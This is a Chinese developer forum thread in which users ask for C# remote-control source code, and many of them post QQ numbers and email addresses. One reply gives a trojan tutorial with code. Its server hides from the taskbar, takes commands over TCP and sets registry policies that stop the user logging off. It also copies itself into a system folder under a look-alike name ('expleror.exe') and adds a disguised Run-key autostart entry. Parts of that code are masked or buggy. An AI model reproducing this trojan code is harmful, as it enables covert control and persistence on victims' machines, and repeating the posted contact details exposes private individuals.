C# 远程控制 源码

lucky749 2008-10-14 09:40:50
跪求C# 远程控制 源码 .
有资料也可以.
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豆子yhy 2012-08-16
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引用 9 楼 gwqwyh 的回复:
我有源代码,不过太大了 我上传 你去下下吧

可以给我一份么谢谢 ··我的qq991052741邮箱:991052741@qq.com
MrDawn 2012-06-13
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跪求实例源代码....
wzhwyf 2012-05-28
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[Quote=引用 9 楼 的回复:]
我有源代码,不过太大了 我上传 你去下下吧
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亲。给我一份呗。。加QQ 306624884
sahdolla2008 2012-05-23
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[Quote=引用 9 楼 的回复:]
我有源代码,不过太大了 我上传 你去下下吧
[/Quote]

朋友,能给我一份吗?谢谢
aaa907638015 2012-04-16
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[Quote=引用 9 楼 的回复:]
我有源代码,不过太大了 我上传 你去下下吧
[/Quote]

兄弟能给我一份吗?
hepe00 2012-03-22
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兄弟,发我一下。。谢谢了。。1343752113@qq.com
[Quote=引用 9 楼 gwqwyh 的回复:]
我有源代码,不过太大了 我上传 你去下下吧
[/Quote]
hyp2008ok 2012-02-22
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920332235@qq.com 谢谢
[Quote=引用 9 楼 gwqwyh 的回复:]
我有源代码,不过太大了 我上传 你去下下吧
[/Quote]
tyousei8615 2012-01-21
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[Quote=引用 9 楼 gwqwyh 的回复:]
我有源代码,不过太大了 我上传 你去下下吧
[/Quote]

我也要一份 多谢 zc688@sohu.com
lxwcoco 2011-11-14
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谢了。。。。。。
myxker 2010-05-22
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谢啊。。。。。
酷龙王子 2010-05-13
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[Quote=引用 9 楼 gwqwyh 的回复:]
我有源代码,不过太大了 我上传 你去下下吧
[/Quote]可以给我一份么谢谢 ··我的qq552608128邮箱:lujian19870325@163.com
酷龙王子 2010-05-13
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可以给我一份么谢谢 ··我的qq552608128邮箱:lujian19870325@163.com [Quote=引用 8 楼 lucky749 的回复:]
别沉啊
[/Quote]
沙漠俊 2010-04-27
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....学习
wanglei451 2010-03-06
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顶..........
yr1202 2008-10-28
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如果要控制对方机器的鼠标键盘 获取对方的屏幕信息该怎么做
wzw200 2008-10-18
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好的 谢谢了 我也在找这方面的东西
hei_an 2008-10-14
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使用的技术:

  控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

  控制端开发:

  控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

  控制端的开发:

  控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

  1、连接请求

使用了.NET类中的 System.Net.Sockets.TcpClient类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion

  2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流


//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" +"\r");
try
{

stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}

  3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");
MessageBox.Show("服务器未连接1控制无效!" +"\r");
}
}//else if
}

  4、线程执行的函数

private void receive()
{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss=="hjc")
{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control +"控制成功"+"\r");
MessageBox.Show(control +"控制成功"+"\r");
}
}



  服务端的开发:

  要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

  1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskba*”属性设为**lse,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = "Form1";
//设置属性让它后台运行
this.ShowInTaskba* = **lse;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

  2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();

//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下,完整代码见程序
private void reControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能

//修改注册表加入编码
switch (ss)
{
case "jiance"://测试连接,返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函数,自已定义,见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;

case "zx0100":
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void reControlCode


  3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer",true);
//设置子键的键名,和值
key1.SetValue ("NoLogOff",1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer键值Nologoff被修改!请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer键值Nologoff被修改!请将它置为0!";
}
catch{}
}
}

  4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdos*.**e,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名,destFileName为文件的新路径
File.Move("C:\\winnnt\\system\\msdos*.**e","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()
lucky749 2008-10-14
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WMI有远程协助这个概念吗?小弟不才
周公 2008-10-14
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用WMI可以的。
无论谁写都需要有远程执行权限,除非你做病毒。

.net中的WMI编程(一):WMI介绍及简单应用
前言: 由于.net的某些特点使它脱离了操作系统底层,所以如果我们想获得一些底层的操作系统信息的时候比较困难,经常需要DllImport技术,这对一些对C/C++不熟悉的程序员来说简直是一个梦魇(对于我来说也是如此,虽然大学里学习过C/C++,可是我从来没有用过它们做过任何实际的应用程序开发),所以能通过一些简单的办法处理的,我都绕过去了,很多时候我喜欢借助命令行来执行一些命令,然后截取输出流,处理之后返回我需要的结果,这个也是比较痛苦的。经常访问我的博客的朋友应该对我的一篇文章很熟悉,或者从别的地方看到过,因为它被众多网站转载了,这篇文章就是《用C#获取CPU编号、硬盘编号等系统有关环境、属性》,网址是:http://blog.csdn.net/zhoufoxcn/archive/2007/03/20/1534949.aspx。其实,还有一个为大家所陌生、但功能却又十分强大的工具,它就是WMI。WMI(Windows管理规范:Windows Management Instrumentation)是Microsoft基于Web的企业管理(WBEM)的实现,同时也是一种基于标准的
http://blog.csdn.net/zhoufoxcn/archive/2008/01/14/2042697.aspx

.net中的WMI编程(二):WMI中的WQL语言和WQL的测试工具
今天临晨本人写了一篇有关.net中WMI编程的入门文章,名字是《 .net中的WMI编程(一):WMI介绍及简单应用》,如果你对WMI还不太熟悉,请先阅读那一篇,以便有个大概的印象,网址是:http://blog.csdn.net/zhoufoxcn/archive/2008/01/14/2042697.aspx。昨天给大家展示的例子都比较简单(我个人觉得),不过还是有不少朋友私底下问我为什么有些语句需要那么写,还有人问我怎么知道那样写,以及怎么知道查询结果中会有那些字段名(既然叫WQL,我就称之为字段了)。所以我觉得有必要介绍一下WMI中的查询语言了。WQL就是WMI中的查询语言,WQL的全称是WMI Query Language,简称为WQL,翻译成中文好像可以成为Windows管理规范查询语言。熟悉SQL语言的朋友会感觉它和SQL非常相似。WQL其实非常简单,它有如下特点:1、每个WQL语句必须以SELECT开始;2、SELECT后跟你需要查询的属性名(我刚才对应SQL将其称之为字段名了),也可以像SQL一样,以*表示返回所有属性值;3、FRO
http://blog.csdn.net/zhoufoxcn/archive/2008/01/14/2044246.aspx

chinawn 2008-10-14
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